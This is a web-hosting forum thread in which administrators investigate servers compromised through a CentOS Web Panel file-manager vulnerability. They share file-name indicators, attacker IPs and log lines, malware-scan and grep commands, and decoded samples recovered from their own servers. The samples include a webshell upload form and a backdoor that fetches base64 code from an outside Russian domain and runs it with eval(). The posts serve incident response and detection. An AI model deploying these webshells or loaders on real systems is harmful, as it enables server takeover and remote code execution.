• defauit.php – A PHP script with a misleading name (looks like “default.php”).
i also found these two files in my public_html folder, what should i do with them should i deleted them both? how to make sure there is no other similar exploit?
-
Starburst already gave the answer above:
You need to have your php.ini secured, and run ModSecurity with the latest OWASP CRS ruleset.
Along with running the latest PHP version you choose, 8.1, 8.2, 8.3 or 8.4
And he has guides for updating ModSecurity and the OWASP CRS ruleset (tested on both AlmaLinux 8 and 9):
https://starburst.help/control-web-panel-cwp/modsecurity-running-with-control-web-panel/update-modsecurity-to-2-9-12-running-cwp-and-apache-on-almalinux-9/
https://starburst.help/control-web-panel-cwp/modsecurity-running-with-control-web-panel/update-owasp-crs-ruleset-running-cwp-and-apache-on-almalinux-9/
-
i understand that is for the future prevention but what to do with the current infection . should i delete the below two file manually from all sites public_html directories ?
defauit.php
nbpafebaef.jpg
-
Oh for sure -- I thought you had already done that as a first step. They are likely what gives the attacker persistence on your server.
-
Since I don't need the user panel, I removed ports 2082 and 2083 from the firewall configuration file. This prevents access to the user panel.
To do this: log in to the admin panel, go to Firewall, and configure the "Opened TCP/UDP Ports". This will open the configuration file in edit mode. Remove ports 2082 and 2083 (you can find them under "Allow outgoing TCP ports" and "Allow incoming TCP ports") and then restart the firewall.
You will still be able to access the user panel if you need to perform actions that cannot be done through the admin panel, because when you log in as an admin in the admin panel, your IP is unrestricted by the firewall. Other users will experience connection timeouts.
I also recommend changing your users’ passwords, as the generated passwords are quite weak. Why the concern?
I discovered that long time ago I had created a username incorrectly by swapping two characters, then deleted it and created another one. Later, I removed that second user as well since it was not needed. Although these users are removed and non-operational, they still appear in the system, specifically in the "/etc/shells" file.
After checking the access logs, I saw that these two users had been exploited by the attacker. So I assume the attacker was able to read many files including "/etc/shells".
For testing, I logged in as a non-sudo user and confirmed that I could access and modify content in many parts of the server. So by the SSH access, you are not restricted only to the /home folder, you can explore almost all directories and content of the server. So It is also possible to extract password hashes for cracking. Or maybe your server can be ordered to brute force passwords and send it to the attacker.
Additionally, last night I turned off my httpd service, but by the morning it was running again. It was restarted at 4 AM. I am not sure what caused it to turn back on, but this behavior looks weird.
I do not intend to use my server for shared hosting, so I am not particularly concerned. However, granting this kind of shell access to regular users does not seem appropriate.
-
1. You also need to harden your PHP configuration.
2. Not be running CentOS 7 still, update to AL8.
3. Only firewall ports that should be open, are the bare minimum your server needs.
With Admin IP's whitelisted.
-
Additionally, last night I turned off my httpd service, but by the morning it was running again. It was restarted at 4 AM. I am not sure what caused it to turn back on, but this behavior looks weird.
Various cron tasks will restart httpd as a matter of course. And CWP's cron tasks run overnight, particularly AutoSSL which runs at 4 am. If you really want to disable it, you could remove those cron tasks, issue systemctl disable httpd and block incoming ports 80 and 443 on the firewall. But then you won't have a web server anymore. But maybe that's what you're after...
-
Since this WAS a vulnerability in CWP, there is no point in considered that if a server was affected, there is no backdoor still installed.
The report is here: https://fenrisk.com/rce-centos-webpanel
So, if you are still in a server that have been compromised, there is no way around to know what have been done. Remove the files can be suficient, sure. But you don't know if anything else was compromised.
The information that this is a fault from PHP, WordPress or some script in the user server are not true. If you see the files stated in the first message in your accounts, your server was exploited due to the CWP vulnerability.
Also: we are still waiting for any information related to this by the CWP team.
-
So, if you are still in a server that have been compromised, there is no way around to know what have been done. Remove the files can be suficient, sure. But you don't know if anything else was compromised.
As far as I could see, this attack was only able to compromise non-sudo accounts. Through trial and error (using combinations of domains related to the server), the attacker only needed to find one valid user. Once that happened, he was able to discover other usernames to exploit additional non-sudo accounts.
In the worst-case scenario, the attacker was able to explore the server in read-only mode — likely dumping databases, backup files, SQL user credentials, and so on, across the entire system.
Non-sudo accounts should not have read access across the whole system, even the /etc/shadow file is readable with them.
Write access was only possible within the affected users’ home directories, including the /tmp directory.
Regarding WordPress what happened to your websites? Mine were defaced with a fake drop-shipping-style store, and the results got messed up in Google Search. Usually, these deface hacks are triggered when the referrer is Google, but this one didn’t behave that way. I only discovered it's real face by simulating a Googlebot user agent in my browser.
The wordpress code got so messed up that I can't even find where the infected code is. I'll have to reconfigure a brand new installation.
It looked like this:
https://i.imgur.com/zn6ji93.png
-
As far as I could see, this attack was only able to compromise non-sudo accounts. Through trial and error (using combinations of domains related to the server), the attacker only needed to find one valid user. Once that happened, he was able to discover other usernames to exploit additional non-sudo accounts.
The file dropped in the directory was a web shell. The attacker indeed have interest in change the webpages to a pseudo store, but with the webshell, he can have access to any account in the server, and any file on it - including the way of change any system file or configuration.
Yes, the exploit starts with a non-sudo user, but can change any other file on the system. If that happend or not... is complicated to know.
In the worst-case scenario, the attacker was able to explore the server in read-only mode — likely dumping databases, backup files, SQL user credentials, and so on, across the entire system.
Non-sudo accounts should not have read access across the whole system, even the /etc/shadow file is readable with them.
Write access was only possible within the affected users’ home directories, including the /tmp directory.
With the webshell, you can have full access to the system, unless you have some way of mitigate that - like Cloudlinux does. They have a virtual filesystem to every users, so even if the website is exploited with a webshell, the attacker can only see the virtual root filesystem, not the actual system.
CWP doesn't have that. With a webshell, they can see and edit or send any command to the server.
If you use the CWPSecure kernel, i don't know if they have that protection. But i bet most of the servers don't use that.
Regarding WordPress what happened to your websites? Mine were defaced with a fake drop-shipping-style store, and the results got messed up in Google Search. Usually, these deface hacks are triggered when the referrer is Google, but this one didn’t behave that way. I only discovered it's real face by simulating a Googlebot user agent in my browser.
The wordpress code got so messed up that I can't even find where the infected code is. I'll have to reconfigure a brand new installation.
It looked like this:
https://i.imgur.com/zn6ji93.png
Yes, the exploit appears to be target to wordpress websites. The file that actualy deploys the exploit can be dormant in the system for months, and only activated when the attacker sees it. Is a fake JPG file with PHP code in it.
-
Do you know which wordpress files got infected?
-
It can vary from installation to installation.
In some, the backdoor stays dormant in the server, waiting to be "activated" - the file placed first is just a exploit, to create the webshell file if access with a POST request and specific queries. If the request is done, the file "defaiult.php" is created, and that is the real webshell file.
After that, anything can be changed realy. I notice some plugins changed, and theme files. Also there is a mu-plugin that is created to the redirect.
Of course, data in the BD and other details, like the WordPress configuration file, are also changed/access. If you have any password or WordPress salt in there, change them. But at this point, the installation in your server should NOT be considered safe.
You can still use it... but at your own risk.
-
Starburst already gave the answer above:
You need to have your php.ini secured, and run ModSecurity with the latest OWASP CRS ruleset.
Along with running the latest PHP version you choose, 8.1, 8.2, 8.3 or 8.4
And he has guides for updating ModSecurity and the OWASP CRS ruleset (tested on both AlmaLinux 8 and 9):
https://starburst.help/control-web-panel-cwp/modsecurity-running-with-control-web-panel/update-modsecurity-to-2-9-12-running-cwp-and-apache-on-almalinux-9/
https://starburst.help/control-web-panel-cwp/modsecurity-running-with-control-web-panel/update-owasp-crs-ruleset-running-cwp-and-apache-on-almalinux-9/
Those guides are pointless for this issue.
They are to protect the websites, not the CWP itself. The RCE was a exploit in the CWP file manager, not in the websites.
Kindle don't provide false information, and dont mislead users to somethint that is not. You don't appear to even know what is a exploit... even less to provide info about waf protection rules - that, again, DO NOTHING about this issue in CWP.
-
Hi djprmf,
Thank you for contribution in the 1st paragraph, it is correct and may yet proove helpful to someone.
Your 2nd paragraph however is simply a personal attack on a well respected member of our community to which I and many other members in this forum do not appreciate. Please reframe from such outbursts or if you cannot simply STFU.
-
Hi 6sense.
https://forum.centos-webpanel.com/informations/is-cwp-still-maintained/
Read the topic.
You cannot take seriously someone that don't know the difference between a PHP exploit and a exploit in a implementation of the code in a application.
He could be a great person, but doesn't know what is talking and is misleading others.
Is ok to say that you don't know something.it is NOT OK to provide false information. And that was what he have done the entire time.
So yes,I provide proofs and knowledge,things that ANYONE CAN SEE AND KNOWS.
not a word from someone...
Bit is simple.prove me wrong....
Then take your conclusions...
-
Are you just trying to inflate your post count? It seems that any meaningful contribution to this thread and forum community has ceased a while ago. You're beating a war drum with no soldiers rallying behind you, so it rings more than hollow.
-
I have not posted False or Mis-information.
Your post doesn't even make sense.
And all here know that I know what I'm talking about from my posts.
So just insulting me and others here hasn't made you any friends and lost you any support.
Unlike yourself.
I'm guessing your some kid or tween who just wants to come on the forums, post your BS mis-information, and argue with everyone.
So FOCUS...
-
This is NOT a CWP bug.
PHP Injection Attacks will happen whenever.
You need to have your php.ini secured, and run ModSecurity with the latest OWASP CRS ruleset.
Along with running the latest PHP version you choose, 8.1, 8.2, 8.3 or 8.4
You'll also need to configured the OWASP base rules for services you run on that server.
NOTE: The CWAF ruleset is dead, and the last update was over a year ago.
Which is sad, this was a great ruleset.
For the PHP Injection Attack that has been going around, there has been fixes here how to clean up your PHP-FPM.
Sure, lets focus and talk.
Can you explain this sentence that you are providing in the quote text?
Kindly inform us how do you say that this is NOT a CWP security vulnerability and how do you get to that conclusion. Plese, don't refrain from use "tech mambo jambo", we are all sysadmin here after all :)
-
After that, anything can be changed realy. I notice some plugins changed, and theme files. Also there is a mu-plugin that is created to the redirect.
Location of those changes? Where can i find them?
-
After that, anything can be changed realy. I notice some plugins changed, and theme files. Also there is a mu-plugin that is created to the redirect.
Location of those changes? Where can i find them?
The attacker have access to every file in your system. It could change anything...
I cannot provide you a "list" of what was changed in your case. Could be just the theme files, or nothing at all - some servers may still have the backdoor placed due to the exploitation of this vulnerability in CWP, but not "activated" - are there just waiting to a request that activates the malicious payload.
The WAF rules provided here can help, but don't fix the problem if your server is already affected.
The good news is that CWP already "silently patched" this vulnerability, so you should be safe from be attacked again if you use CWP.
I didn't check all the WAF rules provided here, but the request is activated with a specific query in a POST request made to the files placed in your server. If you simply access the files, they do nothing.
It should be a request like "domain.xxxx/defaiult.php?t=XXXXXXXXXX" - where XXXXXXXXXX is a specific query.
I did decode the files, and they install a webshell - thats it. What they do after that is from the attacker point of interest.
Unfortunately, if you have been affected by this, you have two options:
- Try to see the files that have been recently changed in your system. Not just the account that is affected, but ALL the system. After that, see if something was malicious changed.
- Don't consider the server safe. Try to deploy your accounts in a fresh new server - and make sure that every single website is also clean. Use something like WordFence, or more abroad, something like CPGuard to scan the accounts.
-
Cool. Thank you
-
After that, anything can be changed realy. I notice some plugins changed, and theme files. Also there is a mu-plugin that is created to the redirect.
Location of those changes? Where can i find them?
The attacker have access to every file in your system. It could change anything...
I cannot provide you a "list" of what was changed in your case. Could be just the theme files, or nothing at all - some servers may still have the backdoor placed due to the exploitation of this vulnerability in CWP, but not "activated" - are there just waiting to a request that activates the malicious payload.
The WAF rules provided here can help, but don't fix the problem if your server is already affected.
The good news is that CWP already "silently patched" this vulnerability, so you should be safe from be attacked again if you use CWP.
I didn't check all the WAF rules provided here, but the request is activated with a specific query in a POST request made to the files placed in your server. If you simply access the files, they do nothing.
It should be a request like "domain.xxxx/defaiult.php?t=XXXXXXXXXX" - where XXXXXXXXXX is a specific query.
I did decode the files, and they install a webshell - thats it. What they do after that is from the attacker point of interest.
Unfortunately, if you have been affected by this, you have two options:
- Try to see the files that have been recently changed in your system. Not just the account that is affected, but ALL the system. After that, see if something was malicious changed.
- Don't consider the server safe. Try to deploy your accounts in a fresh new server - and make sure that every single website is also clean. Use something like WordFence, or more abroad, something like CPGuard to scan the accounts.
We are not safe at all. Just today our websites affected again.
This exploit was there since 2021, We've checked all the files and found out some unused websites had defauit.php, backup.c and licelic.c files with timestamp showing 2021. And infected websites will always have robots.txt file.
I thought maybe I could fix it myself by editing filemanager but its an obfuscated file. So we decided to move our customers to another panel.
-
That's certainly the nuclear option, but as Starburst pointed out, other panels have recently been vulnerable to PHP injection attacks -- even big daddy cPanel. It's up to the sysadmin to be aware of new vulnerabilities and mitigate them. Also, server hardening is essential as you're deploying it live on the Internet -- expect it to be attacked immediately, so make sure all software is up to date and patched, firewall up, keep Mod Security up to date, and best security practices are in place for hardening PHP, MariaDB, filesystem, etc.
There's no need to use external software or an online service to disinfect a server -- use the built-in clamav to scan for malware:
freshclam
clamscan --infected --log=/root/virus-scan-report-`date +\%Y-\%m-\%d`.txt --recursive /home
grep -i HEX.Topline /root/virus-scan-report-`date +\%Y-\%m-\%d`.txt
grep -i level.php.sigs /root/virus-scan-report-`date +\%Y-\%m-\%d`.txt If you find PHP injection malware on the topline (the usual php shebang line), it will likely start with the standard PHP opening, then trail far off the right with a long base64 encoded string. So to disinfect the PHP file, replace it with the default shebang :
<?phpIf you find a malicious PHP file that looks like this, it can be deleted after taking note of the encoded include line:
<?php
/*d16bc*/
@include "\057home\057username/\160ubli\143_htm\154/the\155es/e\156gine\163/php\164empl\141te/.\146ad4b\067e0.i\143o";
/*d16bc*/You can use UnPHP or another service to decode the encode file path, then delete that malicious file (which could be disguised as an .ico file but is in reality a standard PHP file, usually a webshell).
-
If only CWP team had inform us about... Anything... 🤷♂️
-
We are not safe at all. Just today our websites affected again.
This exploit was there since 2021, We've checked all the files and found out some unused websites had defauit.php, backup.c and licelic.c files with timestamp showing 2021. And infected websites will always have robots.txt file.
I thought maybe I could fix it myself by editing filemanager but its an obfuscated file. So we decided to move our customers to another panel.
Did you search the access log? Did the attacker exploit the filemanager again?
-
We are not safe at all. Just today our websites affected again.
This exploit was there since 2021, We've checked all the files and found out some unused websites had defauit.php, backup.c and licelic.c files with timestamp showing 2021. And infected websites will always have robots.txt file.
I thought maybe I could fix it myself by editing filemanager but its an obfuscated file. So we decided to move our customers to another panel.
Did you search the access log? Did the attacker exploit the filemanager again?
Yes, with a "python-requests/2.31.0" signature at the end. Disabling the filemanager wouldnt cut it. Because they also drop backdoor scripts. Some of them:
defauit.php
defauIt.php
backup.c
licelic.c
.c(yes, just .c)
Also there are some .png looking files which they are actually php scripts. So this mess is really time consuming to clean.
And the funny thing is that ModSecurity actually logs those attempts and says its blocked while it is clearly not blocked.
Other examples:
-Attacker disguising as Google, sends id=1 as GET and a POST request: (198.144.182.13 - - [31/Jul/2025:17:08:34 +0300] "POST /defauit.php?id=1 HTTP/1.1" 200 227 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36")
-Attacker can run code via any php file: 162.248.79.101 - - [30/Sep/2025:06:33:32 +0300] "GET /shop.php?l=&ck=32c4dgm3KyzHGUR59ytMXK8gLaaz38t-a-o97bdyvcgg4Ljzk-d-nKZtqg-s--s-&p=&u=&no=32c4dgm3KyzHGUR59ytMXK8gLaaz38t-a-o97bdyvcgg4Ljzk-d-nKZtqg-s--s-&ac=del&path=%2Fhome%2FSENSITIVEDATA%2Fpublic_html%2Fdefauit.php HTTP/1.1" 200 6389 "https://website.com/shop.php?l=&p=&ck=ab5o9BIxWNIxAcVthNjxfAPTh-a-QRgWy3XLNzjjCF01zWEVaQ5xS8rA-s--s-&no=&did=8&tid=8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36"
-Another one, but sends POST only: 207.154.240.68 - - [30/Sep/2025:14:17:21 +0300] "POST /defauit.php HTTP/1.1" 200 60 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
-
Where did you find those files? Inside /home or anywere else?
I also have this 198.144.182.13 IP in my logs.
Also found out that he also has created wordpress accounts, this is his data:
user: wpadminerlzp
email: wpadmin@volovmart.ru
date: 2020-06-14 00:00:00 (by looking at this 00:00:00, I assume this was SQL inserted)
-
Those .c files don't appear to be IoC related to the patched CWP vulnerability. Likely they are part of another PHP injection attack -- multiple competing gangs are attempting to compromise servers on any given day. So the recommendation is to harden your PHP install right away, then engage in clean up & full postmortem.
Better to batten down the hatches rather than bailing water out of the ship...
-
True.
I always wanted to do my work just as developer. I've always hated servers and networks. Now my days have began!
I use to be a black hat on my teen stupid years. Now I have to pay for the karma :\
But you are right. There's an increase in attacks. This is getting ridiculous.
-
Those .c files don't appear to be IoC related to the patched CWP vulnerability. Likely they are part of another PHP injection attack -- multiple competing gangs are attempting to compromise servers on any given day. So the recommendation is to harden your PHP install right away, then engage in clean up & full postmortem.
Better to batten down the hatches rather than bailing water out of the ship...
.c files result of the same vulnerability no doubt. Maybe no one noticed because ".c" file is always hidden in a random directory or maybe who used this vulnerability didnt drop a backdoor for your server. I switched to cPanel/WHM after removing all the backdoors.
Where did you find those files? Inside /home or anywere else?
I also have this 198.144.182.13 IP in my logs.
Also found out that he also has created wordpress accounts, this is his data:
user: wpadminerlzp
email: wpadmin@volovmart.ru
date: 2020-06-14 00:00:00 (by looking at this 00:00:00, I assume this was SQL inserted)
Those files were on the public_html folder (or the main folder of that website)
defauit.php
defauIt.php
licelic.c
This file was in the public_html folder for some occurances, but for some occurances it was in a random directory
backup.c
This file was always hidden in some random directory.
.c(yes, just .c)
And I suggest you to check every file named "index.php" because they also add an obfuscated php code. You cant miss when you see it.
And they dont have to guess CWP username to inject code btw.
-
Yes but having a cPanel/WHM is kinda expensive to have it online. I would rather configure a server by myself.
The things you mostly do usually don't require a web panel.
Are you sure this .c files are from this attack or from another one? I searched and didn't find such malicious files.
-
What is the content of the .c file?
But yes, is related with the attack also.
The file contains a Base64 encrypted code, that do many changes in PHP files related with wordpress - theme and plugins.
-
I found some .c files.
I also found that there a lot of files called index.php, wp-login.php and files just called "c" (without the dot) across my websites. These files were deeply inside some folders of websites I've developed myself. Thankfully I have a clean backup and these files were not there.
licelic.c
I've decoded a "licelic.c" file and it had listed a lot of the infected websites locations encoded in base64 and some weird stuff (can't decode it directly, maybe it is written with another encode type). I copy-pasted it to Cloud.ai that decode it for me and it gave me all the urls that are infected. I tried chatgpt and it gave me nothing in return.
SO "licelic.c" is of extreme importance for you to deobfuscate and evaluate the URLs that are there. This file exposes the folders that were exploited.
Some of its contents:
Non wordpress website:
[my public url]/folder/folder/folder/index.php?MeL=1#####post_1
[my public url]/folder/folder/folder/index.php?MeL=1#####post_2
[my public url]/folder/folder/folder/index.php?MeL=1#####post_3
[my public url]/folder/folder/folder/index.php?MeL=1#####post_4
[my public url]/folder/folder/folder/index.php?MeL=1#####post_5
[my public url]/folder/folder/folder/index.php?MeL=1#####post_6
[my public url]/folder/folder/folder/index.php?MeL=1#####post_7
[my public url]/folder/folder/folder/index.php?MeL=1#####post_8
...
wordpress website:
[my public url]/folder/folder/folder/index.php/wp-login.php?Ny6u=2&adj=shop.php#saverun
[my public url]/folder/folder/folder/index.php/index.php?Ny6u=2&adj=shop.php#saverun
[my public url]/folder/folder/folder/index.php/index.php?Ny6u=2&adj=shop.php#saverun
[my public url]/folder/folder/folder/index.php/index.php?Ny6u=2&adj=shop.php#saverun
"c" file (without the dot)
"c" file (without the dot) is a zip content. You can add ".zip" to this file to open it with a zip application. Inside you get a new file that has a file called "s" that contains obfuscated php code that consists on drawing a form that probably interacts with the expoits. Maybe this is an exploit panel.
I leave the code here
(DO NOT EXECUTE THIS!!!!)
<?php
// WARNING: This is MALICIOUS code - DO NOT EXECUTE
// Checks if GET parameter "DEQ" exists
if(!isset($_GET["DEQ"])) exit;
// Function that decodes strings using indices
function Za64HUq_($TYCMzwTO, $x6Mpbe) {
$iGRCOPT = str_split($TYCMzwTO, 1);
$emivt51O = explode(",", $x6Mpbe);
$gMRtx3VD = "";
foreach($emivt51O as $v) {
$gMRtx3VD .= $iGRCOPT[(int)$v];
}
return $gMRtx3VD;
}
// Static class with method to initialize arrays
class hCXKOZB {
public static function __callStatic($name, $arguments) {
$temarr = array(
"puTfPFm" => array("3eolcnOp5Qf4_GqphVna1eerd2", "10,2,7,1,5"),
"CULPcX" => array("eheriQctavFofpceulrwEpy_J5rG", "12,19,3,4,7,0"),
"mWHO_PtG" => array("arsWrD_pcldbIoeelvh8uae4fc_K", "24,8,9,13,2,14")
);
foreach($temarr as $key => $v) {
$GLOBALS[$key] = Za64HUq_($v[0], $v[1]);
}
}
}
// Gets values from POST (if they exist)
$vA8r0 = isset($_POST["WOjVxhQ_"]) ? trim($_POST["WOjVxhQ_"]) : "";
$oTlM_Lm47 = isset($_POST["ZXk7oVxn"]) ? trim($_POST["ZXk7oVxn"]) : "";
// Decodes the input
$n3Bi8fy = !empty($oTlM_Lm47) ? $puTfPFm($vA8r0, "w") : "";
// If there is a decoded result, writes error message and exits
if($n3Bi8fy) exit("pIUeNv1Ox74Cq0i" . $mWHO_PtG($n3Bi8fy));
// Displays HTML form with hidden fields
echo "<form method=\"POST\">";
echo "<div><input type=\"text\" name=\"WOjVxhQ_\"></div>";
echo "<div><textarea name=\"ZXk7oVxn\" rows=\"5\"></textarea></div>";
echo "<button type=\"submit\">submit</button>";
echo "</form>";
?>
index.php
This is the index.php deeply inside subfolders were the index file i've created. The root index.php file was replaced by a malicious code that executes the payload and imports my original index file.
So take a deep look on every index file you have (even sub-folders).
These files were touched (date-time changed). Mine dated 30/08/2024 23:06:51
So even if you change your panel or format your server, you'll be hacked again if you don't sanitize every website. This means going throw all files and folders and apply new rules to stop execution on folders that you don't have php files (image uploads for example).
-
backup.c
Zip file (change the extension to zip and open it with a zip application). It contains a new file called "back".
This file talks to the exterior. I asked cloud.ai to comment the code:
(DO NOT EXECUTE)
<?php
// MALICIOUS CODE - DO NOT EXECUTE
// Helper function that executes a function dynamically
// Used to obfuscate function calls
function sdcss($strrt,$pram_1){
return $strrt($pram_1);
}
// Main malicious function that fetches and executes remote code
// Parameters: $url = remote server URL, $time_out = connection timeout
function KmY7I3NC($url,$time_out=30){
// Check if cURL is available (preferred method)
if(sdcss("function_exists","curl_exec")){
// Initialize cURL connection
$fq8h2HYxV=curl_init();
// Set the target URL (10002 = CURLOPT_URL)
curl_setopt($fq8h2HYxV,10002,$url);
// Return transfer as string (19913 = CURLOPT_RETURNTRANSFER)
curl_setopt($fq8h2HYxV,19913,1);
// Do not verify SSL certificate (64 = CURLOPT_SSL_VERIFYPEER)
curl_setopt($fq8h2HYxV,64,false);
// Set random timeout between 30-60 seconds (13 = CURLOPT_TIMEOUT)
curl_setopt($fq8h2HYxV,13,mt_rand(30,60));
// Execute the request, decode the response (skip first character)
// and execute it as PHP code using eval()
$fhD2dN4z = evAl(base64_decode(substr(trim(curl_exec($fq8h2HYxV)),1)));
// Close cURL connection
curl_close($fq8h2HYxV);
}else{
// Fallback: use file_get_contents if cURL is not available
// Also decodes base64 and executes with eval()
$fhD2dN4z = evAl(base64_decode(substr(trim(sdcss("file_get_contents",$url),1))));
}
// Return the result of executed code
return $fhD2dN4z;
}
// Main malware trigger - checks if GET parameter "l" is set
if(isset($_GET["l"])){
// Collect all GET parameters (with empty string as default if not set)
$tid = isset($_GET["tid"])?$_GET["tid"]:"";
$did = isset($_GET["did"])?$_GET["did"]:"";
$tem = isset($_GET["tem"])?$_GET["tem"]:"";
$ck = isset($_GET["ck"])?$_GET["ck"]:"";
$usip = isset($_GET["usip"])?$_GET["usip"]:"";
$vson = isset($_GET["vson"])?$_GET["vson"]:"";
$no = isset($_GET["no"])?$_GET["no"]:"";
// Build malicious URL with encoded server address
// URL decodes to: "http://vOlOVmARTc.Ru/dai/?c=base&l=...&ck=...&usip=...&vson=...&no=...&tid=...&did=...&tem=..."
$url = "\150\164\124\160\x3a\x2f\x2f\x76\x4f\x6c\117\x56\x6d\101\x52\124\x2e\122\165\57\x64\141\151\x2f\x3f\x63\75\142\141\x73\145\46\x6c\x3d".$_GET["l"]."&ck=".$ck."&usip=".$usip."&vson=".$vson."&no=".$no."&tid=".$tid."&did=".$did."&tem=".$tem;
// Fetch remote PHP code, decode it, and execute it
$str = KmY7I3NC($url);
}
?>
Russian URLs (I've also detected some Russian emails on my Wordpress accounts.
But it looks like the domain is off. Probably banned?
-
wp-login.php
It receives an URL GET parameter (?MeL=...) that is related to that "licelic.c" code inside (all URLs there have this MeL parameter). It also saves files.
(DO NOT EXECUTE THIS!)
<?php
// WARNING: MALICIOUS CODE - DO NOT EXECUTE
// Initialize variables
$aLTZ_CWiB = false;
// Decode 'serialize' function from concatenated string indices
// This reconstructs: s-e-r-i-a-l-i-z-e
$dseBk = (("IsSw6u")[1].("ptB7")[1].("Pa4rn")[3].("Rs87W1")[1].("nntWNs")[2].
("vgIrrw")[3])("dseBk", "GjGg9m");
$b4YsfJ = array("o0FgLZyK4ABbJHto");
$JHwES = (string) null;
// Decode 'wordwrap' function and set word wrap to 15 characters
$aVcFqS = (("vrgwA7")[3].("kozN")[1].("wr2Hs")[1].("dQSktI")[0].
("wbrHMj")[0].("v8SZrf")[4].("cuEaA")[3].("poCzK")[0])("", 15);
// Get current date and time
$EKsO2FVW = date("Y-m-d H:i:s");
// Decode 'md5' function
$MAsW_z = (("IsSw6u")[1].("ptB7")[1].("Pa4rn")[3].("Rs87W1")[1].
("nntWNs")[2].("vgIrrw")[3])("MAsW_z", "cGXdJI");
// Decode 'trim' function
$zs7o1QeOh = (("U35tN")[3].("rdb9a")[0].("limY_R")[1].("ZIcamw")[4])(" ");
// Check if GET parameter "MeL" exists - if not, exit
if(!isset($_GET["MeL"])) exit;
// Check if constant is defined
$LHpbN4P2x = defined("_NYaHD");
// Get POST parameter "RfDJgIyWki" (trim it if exists)
$NiXTY2V3mC = isset($_POST["RfDJgIyWki"])?
(("U35tN")[3].("rdb9a")[0].("limY_R")[1].("ZIcamw")[4])($_POST["RfDJgIyWki"]):"";
$_blZ7fx = metaphone("moSCud");
$Jt69Gsohg = define("OL0mQ","gDrORyX");
$BMbxgE4 = false;
// Get POST parameter "xYjdx" (trim it if exists)
$V9Aqud = isset($_POST["xYjdx"])?
(("U35tN")[3].("rdb9a")[0].("limY_R")[1].("ZIcamw")[4])($_POST["xYjdx"]):"";
// If $V9Aqud is not empty, call save_file() function and exit
// This SAVES UPLOADED FILE to the server
$sf = !empty($V9Aqud)?exit("hHc1Pq7UymG5xrZgRn_".save_file($NiXTY2V3mC,$V9Aqud)):"";
// Decode another function
$dPE1i_ = (("IsSw6u")[1].("ptB7")[1].("Pa4rn")[3].("Rs87W1")[1].
("nntWNs")[2].("vgIrrw")[3])("zOEPQxj","ssMKu");
// CRITICAL FUNCTION: Saves uploaded file to disk
// Parameters: $NiXTY2V3mC = filename, $V9Aqud = file content
function save_file($NiXTY2V3mC,$V9Aqud){
// Open file in write mode
$handle = fopen($NiXTY2V3mC,"w");
if($handle){
// Write the malicious content to the file
fwrite($handle,$V9Aqud);
fclose($handle);
}
return "hHc1Pq7UymG5xrZgRn_";
}
$yXQwOmu = addslashes("yXQwOmu");
// Display HTML form (reconstructed from character indices)
// This renders an HTML form with input fields
echo ("<z01")[0].("em8fuW")[3].(... [reconstructs HTML form HTML] ...);
?>
-
Also found out that all the files you get distributed by the server are obfuscated differently. By this you won't be able to search for specific text. Maybe specific functions but even the functions like "goto", "ucwords" and $GLOBALS that is not commonly used but it is used a lot on these exploits.
$GLOBALS array is used to add a function (built with a string??) to the system that is afterwards executed. This allows the attacker to execute php code without using the "eval" function (I'm not sure about this part). This therm is used on all files that i saw, it might be very useful to find those exploits using this term.
Another idea:
Also search for files that start with "PK" (zipped content) and don't have the zip extension.
-
There are a lot of index.php files exploited. Some are close to "c" file, others are just disposed across directories.
Use this to find them:
grep -Rl --include="*index.php" 'ucwords' /home/px_disabled/public_html/
To find zipped files that have no zip extension (ignoring Microsoft Office documents):
find /home -type f ! -name '*.zip' ! -name '*.docx' ! -name '*.xlsx' ! -name '*.pptx' -exec sh -c 'head -c2 "$1" | read -r b && [ "$b" = "PK" ] && echo "$1"' _ {} \;
-
To find files that have base64 encoded parts (used to obfuscate php code):
grep -RIl --binary-files=text -P '[A-Za-z0-9+/]{100,}={0,2}' /home
Some false positives might end up being: pdf, mp3, image, and so on (you have to take a deep look into it)
--
Alternative:
If you want to filter just php files (not enough to be secure):
grep -RIl --binary-files=text --include="*.php" -P '[A-Za-z0-9+/]{100,}={0,2}' /home
If you want to filter just files without extension (still not enough to be secure):
grep -RIl --binary-files=text --exclude='*.*' -P '[A-Za-z0-9+/]{100,}={0,2}' /home
--
Note: You could extend this outside /home. But as far I'm concern, this hack didn't directly affect the system otherwise you would be seeing cron jobs and other stuff around the system. But I recommend you to change all usernames passwords.
-
I found some .c files.
I also found that there a lot of files called index.php, wp-login.php and files just called "c" (without the dot) across my websites. These files were deeply inside some folders of websites I've developed myself. Thankfully I have a clean backup and these files were not there.
licelic.c
I've decoded a "licelic.c" file and it had listed a lot of the infected websites locations encoded in base64 and some weird stuff (can't decode it directly, maybe it is written with another encode type). I copy-pasted it to Cloud.ai that decode it for me and it gave me all the urls that are infected. I tried chatgpt and it gave me nothing in return.
SO "licelic.c" is of extreme importance for you to deobfuscate and evaluate the URLs that are there. This file exposes the folders that were exploited.
Some of its contents:
Non wordpress website:
[my public url]/folder/folder/folder/index.php?MeL=1#####post_1
[my public url]/folder/folder/folder/index.php?MeL=1#####post_2
[my public url]/folder/folder/folder/index.php?MeL=1#####post_3
[my public url]/folder/folder/folder/index.php?MeL=1#####post_4
[my public url]/folder/folder/folder/index.php?MeL=1#####post_5
[my public url]/folder/folder/folder/index.php?MeL=1#####post_6
[my public url]/folder/folder/folder/index.php?MeL=1#####post_7
[my public url]/folder/folder/folder/index.php?MeL=1#####post_8
...
wordpress website:
[my public url]/folder/folder/folder/index.php/wp-login.php?Ny6u=2&adj=shop.php#saverun
[my public url]/folder/folder/folder/index.php/index.php?Ny6u=2&adj=shop.php#saverun
[my public url]/folder/folder/folder/index.php/index.php?Ny6u=2&adj=shop.php#saverun
[my public url]/folder/folder/folder/index.php/index.php?Ny6u=2&adj=shop.php#saverun
"c" file (without the dot)
"c" file (without the dot) is a zip content. You can add ".zip" to this file to open it with a zip application. Inside you get a new file that has a file called "s" that contains obfuscated php code that consists on drawing a form that probably interacts with the expoits. Maybe this is an exploit panel.
I leave the code here
(DO NOT EXECUTE THIS!!!!)
<?php
// WARNING: This is MALICIOUS code - DO NOT EXECUTE
// Checks if GET parameter "DEQ" exists
if(!isset($_GET["DEQ"])) exit;
// Function that decodes strings using indices
